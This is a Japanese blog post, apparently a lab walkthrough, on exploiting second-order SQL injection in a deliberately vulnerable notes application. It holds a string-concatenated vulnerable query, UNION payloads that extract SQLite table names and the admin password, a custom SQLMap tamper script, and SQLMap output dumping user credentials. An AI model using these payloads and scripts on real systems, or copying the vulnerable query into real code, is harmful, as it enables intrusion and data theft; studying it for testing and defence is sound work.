2次SQLインジェクションの活用

Feb 05 2023
私はこれに出会い、非常に魅力的であると同時に、理解するのが非常に抽象的であり、活用するのが難しいと感じました。しかし、この種の (SQLi) 脆弱性を悪用する方法を学んだことで、視野が広がり、SQLMap のスキルが強化され、サーバー側アプリケーションのワークフロー内でユーザー入力がどのように処理されるかについてより深く理解できるようになりました。

私はこれに出会い、非常に魅力的であると同時に、理解するのが非常に抽象的であり、活用するのが難しいと感じました。しかし、この種の (SQLi) 脆弱性を悪用する方法を学んだことで、視野が広がり、SQLMap のスキルが強化され、サーバー側アプリケーションのワークフロー内でユーザー入力がどのように処理されるかについてより深く理解できるようになりました。

この投稿では次のことについて書きます。

  • 2次SQLi全般、
  • 必要な前提条件、
  • 識別方法、
  • 手動で悪用する方法と
  • カスタム SQLMap 改ざんスクリプトを使用して悪用を自動化する方法。

基礎

簡単に言うと、一次 SQL インジェクション中に、攻撃者は入力パラメータ (インジェクション ポイント) を使用して、脆弱なサーバー アプリケーションによって実行される SQL クエリを操作します。サーバーは、ユーザーが指定した入力を使用して SQL クエリを構築し、バックエンド データベース内のデータの読み取り、書き込み、更新、削除などを行います。ユーザーが指定した入力が安全な方法 (サニタイズ、検証) で処理されない場合、攻撃者は実行された SQL クエリを操作して DBMS 上で悪意のあるアクションを実行するペイロードを提供する可能性があります。一次 SQLi の特徴は、ペイロード インジェクションの直接の結果として悪意のある SQL クエリが実行されることです。攻撃者は、悪意のあるペイロードを実行するために 2 番目のアクションを実行する必要はありません。

一次 SQL インジェクションを簡単に防ぐ方法はいくつかあります。プリペアド ステートメントの使用やパラメーター化された入力処理は、そのほんの一部です。ただし、最近の開発者は、ユーザーが指定した入力は安全な方法で処理する必要があることを認識しているかもしれません。しかし、すでにデータベースに保存されているデータを安全に扱うことを忘れることがよくあります。ここで 2 次 SQLi が活躍します。

物事を明確にするために、次のシナリオを想定してみましょう。 アプリケーションにより、ユーザーは写真をアップロードし、データベースに保存できます。テーブルには次の列があります。

  • 写真の一意のID、
  • 絵自体、
  • 画像のファイル名、
  • アプリケーション ユーザーによる写真のビューのカウンター。

POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]

cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))

conn.commit()
conn.close()

前に述べたように、データベース テーブル「pictures」には 3 番目の列「views」があります。ユーザーが画像を表示するたびに、このカウンタは 1 ずつ増加します。また、ユーザーが画像の詳細ビューを開いた場合、アプリケーションはユーザーにカウンタを返します。したがって、コードのある時点では、アプリケーションは次のようになります。

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture extracted from database]

cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]

conn.close()

2 次 SQLi の前提条件

それでは、この短い紹介を終えて、2 次 SQLi の前提条件と特性を定義しましょう。

  • アプリケーションでは、何らかの方法で、最初のステップ中にアプリケーション内にユーザー入力を保存できます。これは、アプリケーションのメモリ空間またはバックエンド DBMS などに存在する可能性があります。
  • 攻撃者は 2 番目のステップを実行して、最初のステップで挿入されたユーザー入力を使用する SQL クエリをアプリケーションに実行させることができます。
  • アプリケーションは、悪意のあるユーザー入力 (ステップ 1 から) に基づいてクエリを実行している間 (ステップ 2 の間)、SQLi 対策技術を利用しません。

アプリケーションのアーキテクチャと実装の複雑さと追跡可能性によっては、これらの脆弱性を特定するのが非常に困難になる場合があります。

バックエンド DBMS と対話できるアクションを実行しながら、アプリケーションの機能の実行フローを想像してみてください。

まず、もちろん、古典的な一次 SQL インジェクションを常にテストします。しかし、何も機能せず、インジェクションリクエストの処理中に何らかの防御手段が使用されていると想定する必要がある場合は、さらに一歩進んで考えて、どの時点で入力がアプリケーションのさまざまな機能/領域で処理されるかを想像してください。考えられる 2 次実行ポイントをいくつか特定した場合は、この時点でアプリケーションによって実行されるクエリを想像してみてください。次に、2 次実行ポイントによって実行されるクエリを利用できる方法でインジェクション ペイロードを構築し、結果を確認します。

このプロセスの自動化は少し複雑になる可能性がありますが、時間を大幅に節約できます。ただし、SQLMap などのツールを使用して悪用プロセスを自動化したい場合は、アプリケーションのサーバー側の実行フロー、影響を受けるクエリ文字列などがどのようなものかをよく理解することが絶対に必要です。したがって、アプリケーションでただ撮影して、最善の結果を期待するのはやめてください。成功する可能性を高めるために、最終的な SQLMap 活用コマンドを準備する前に、アプリケーションをできるだけ深く掘り下げてください。

手動による分析と悪用

したがって、これを実際の例で示すために、次のような典型的なアプリケーション コンポーネントを備えた脆弱なアプリケーション (「Vulnerable Notes」) を使用します。

  • ログイン、
  • サインアップ、
  • プロフィール、
  • パスワードを変更する、
  • メモを取る、
  • ログアウト。

まず、ブラウザーでアプリケーションを分析し、潜在的な SQL インジェクション ポイントを特定しました。

サインアップ関数は、ユーザー名が既に使用されているかどうかを確認するために何らかの SELECT クエリを実行し、ユーザーを登録するために INSERT クエリを実行します。

サインアップ機能

ユーザーを作成し、ログインページに進みました。このページは、ユーザーが提供した資格情報を取得し、データベースに対して何らかの SELECT ステートメントを実行して資格情報を確認します。

ログインページ

認証後、ユーザーはホームページにリダイレクトされます。ユーザー名はページの上部に表示されます。したがって、この時点でアプリケーションが SELECT クエリを実行してデータベースからユーザー名を抽出する可能性があります。

ホームページ

この開始点から、ユーザーは /notes エンドポイントでメモを取るなどのユーザー関連のアクションを実行できます。ユーザー名は、「ようこそ」という見出し内の 2 番目の場所に表示されます。アプリケーションが SELECT クエリを実行してユーザー名を再度要求する可能性があります。

メモを取る機能

この機能が使用される場合、アプリケーションはデータベースに対して何らかの INSERT ステートメントを実行する可能性が高くなります。メモを取った後、同じページのフォームの下にメモを表示できます。

保存したメモを表示する

メモを表示するために、アプリケーションは何らかの方法でデータベースに対して SELECT クエリを実行して、保存されたメモを要求します。

このアプリケーションは「パスワード変更」機能も提供しますが、ページ上のメッセージは、この機能が実装されていない可能性があることを示しています。

パスワード変更機能

ただし、これが実装されると、データベースに対して何らかの UPDATE クエリが実行される可能性が高くなります。まずそのベクトルを排除したかったので、関数を試してみましたが、成功しませんでした。機能が実装されていないことを確認しております。

1 次 SQLi に対するアプローチに従って、次に私が行ったことは、悪意のあるペイロードを挿入することによって引き継がれる可能性のあるすべての潜在的な SQL クエリの概要を作成することでした。この時点で、これらのクエリがどのように見えるかを想像してみます。実際にこのように見えるかどうかはわかりませんが、バックエンドがどのように機能するかを理解するのに役立ちます。

登録

-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME

-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)

-- Check if there is an user id where the provided credentials actually match. 
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD

-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)

2 次アプローチの時間です。

すでにアプリケーションを詳細に分析しているため、対象のアプリケーションを再度分析する必要はありません。代わりに、アプリケーションに関してすでに得た知識を、別の視点/アプローチで検討するだけで十分です。

前に述べた 2 次 SQLi の前提条件に戻ると、次の質問を自分自身に問いかける必要があります。

アプリケーションはユーザー入力をどこで受け取り、後で使用するために保存し、後のステップで直接影響を与えない別のクエリの一部として使用しますか?

考えられる候補は次のとおりです。

  • ユーザー名: 登録プロセス中にユーザー名をアプリケーションに渡します。ユーザー名は、後で /home ページおよび /notes ページから照会されて表示されます。また、データベースから特定のユーザーの保存されたメモを照会するためにユーザー名が使用される可能性もあります。

クエリの結果が見えるので、UNION ベースの悪用シナリオを扱っていることがわかります。一般的な方法に従って、最初に元のクエリによってテーブルからクエリされる列の数を調べる必要があります。このために、複数のペイロードを準備し、その後結果を分析します。

-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...

ペイロードは、ホームページの上部と /notes ページの上部に期待どおりに表示されます。

次に、メモを挿入しようとしましたが、驚くべきことに、その後のアプリケーションではメモが表示されません。

データベースからメモをリクエストするクエリが壊れているようです。これはもちろん、ペイロードが内部クエリに影響を与えたことを示しています。しかし、何も表示されないため、クエリでエラーが発生したか、結果が返されなかったようです。もちろん、ペイロードに正しい列数を設定しなかった場合には、これが発生する可能性があります。それでは、別の動作が表示されるまで、リスト内の次のペイロードに進みましょう。

幸いなことに、次のペイロードは機能しました。メモの見出しとテキストとして「なし」と「なし」が返されました。

ピースを組み立てると:

-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- The payload
' UNION SELECT null,null--comment

-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment

チートシートの情報を調整して、動作するペイロードを構築しました。新しいペイロード:

' UNION SELECT null,sqlite_version()--comment

この時点から、典型的な SQLite 活用フロー (提供されているチートシートのペイロード) を使用してデータベース全体をダンプできます。プロセスを自動化する前に、さらにペイロードを試してみましょう。

すべてのテーブル名を抽出する

' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment

      
                

' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment

      
                

' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment

      
                

' UNION SELECT null, password FROM users WHERE username='admin'--comment

      
                

SQLMap 改ざんスクリプトによる自動悪用

このシナリオに取り組むまでは、一次 SQLi を活用するために SQLMap のみを使用していました。二次 SQLi も活用できるかどうか疑問に思っていました。まず、ターミナルを使用して 2 次悪用に関連する SQLMap オプションを検索したところ、次のものが見つかりました。

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

この脆弱性を手動で悪用するために必要な手順を覚えておきましょう。

  1. 「登録」関数へのペイロードの認証されていない注入。
  2. 「ログイン」機能による認証。
  3. 「メモ」ページへの認証済みリクエスト。

SQLMap が「-tamper」オプションを使用して Python スクリプトを実行できることは知っていました。タンパー スクリプト フォルダーをチェックして、ニーズに合わせて調整できる便利なものが見つかるかどうかを確認しました。残念ながらいいえ。

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper 
0eunion.py               chardoubleencode.py          dunion.py                     ifnull2casewhenisnull.py     modsecurityversioned.py      plus2fnconcat.py   space2hash.py         space2randomblank.py    versionedkeywords.py
apostrophemask.py        charencode.py                equaltolike.py                ifnull2ifisnull.py           modsecurityzeroversioned.py  __pycache__        space2morecomment.py  sp_password.py          versionedmorekeywords.py
apostrophenullencode.py  charunicodeencode.py         equaltorlike.py               informationschemacomment.py  multiplespaces.py            randomcase.py      space2morehash.py     substring2leftright.py  xforwardedfor.py
appendnullbyte.py        charunicodeescape.py         escapequotes.py               __init__.py                  ord2ascii.py                 randomcomments.py  space2mssqlblank.py   symboliclogical.py
base64encode.py          commalesslimit.py            greatest.py                   least.py                     overlongutf8more.py          schemasplit.py     space2mssqlhash.py    unionalltounion.py
between.py               commalessmid.py              halfversionedmorekeywords.py  lowercase.py                 overlongutf8.py              sleep2getlock.py   space2mysqlblank.py   unmagicquotes.py
binary.py                commentbeforeparentheses.py  hex2char.py                   luanginx.py                  percentage.py                space2comment.py   space2mysqldash.py    uppercase.py
bluecoat.py              concat2concatws.py           htmlencode.py                 misunion.py                  plus2concat.py               space2dash.py      space2plus.py         varnish.py

sqlmap のカスタム改ざんスクリプトを作成する方法

記事から、次のテンプレート スケルトンを取得し (再インポートを削除)、custom.py として保存しました。

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload

この関数は、関数パラメーターを介して SQLMap ペイロードを受け取り、操作後に改ざんされたペイロードを返します。この記事では SQLMap のコンテキストで **kwargs を使用する方法が説明されていなかったので、ChatGPT に質問したところ、素晴らしい答えが得られました。

これは、エクスプロイト用のカスタム改ざんスクリプトを準備するには十分です。サーバーとの通信にはリクエストライブラリを使用しました。

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests

def dependencies():
    pass

def tamper(payload, **kwargs):
    # Create Session object
    s = requests.Session()
    
    # Register user with SQLMap payload in username
    s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
    
    # Login malicious username
    res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
    
    # Get headers from SQLMap
    headers = kwargs.get('headers', {})

    # Extract session cookie from response
    sessId = "session={}".format(s.cookies.get('session', None))

    # Pass session cookie to SQLMap cookie header
    headers['Cookie'] = sessId

    return payload

すべての部分を組み合わせると、次の SQLMap コマンドを使用できます。

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:20:46 /2023-02-04/

[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated

[*] ending @ 12:22:06 /2023-02-04/

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:23 /2023-02-04/

[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+

[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated

[*] ending @ 12:25:30 /2023-02-04/

──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:26:59 /2023-02-04/

[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users' 
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password                              | username                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | rcLYWHCxeGUsA9tH3GNV                  | admin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| 2  | asd                                   | dev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 3  | Summer2019!                           | amanda                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 4  | 345m3io4hj3                           | maja      
...

その性質上、これらの脆弱性は Web アプリケーション内のあらゆる場所に現れる可能性があります。開発者が一見するとユーザー入力を適切に処理したとしても、SQLi 対策がアプリケーション全体に適用されることを意味するわけではありません。将来的には、しっかりと目を開いて、アプリケーション/データベースのワークフローを徹底的に追跡し、理解するよう努めていきます。

この投稿が気に入っていただければ幸いです。同様のシナリオで役立つかもしれません。これを書くのが本当に楽しかったし、この土曜日にたくさんの新しいことを学びました。コメントを残したり、「いいね!」をしたり、フォローしたりして、さらに多くの Web 情報や、すぐに AD インフラストラクチャのトピックをご覧ください。

平和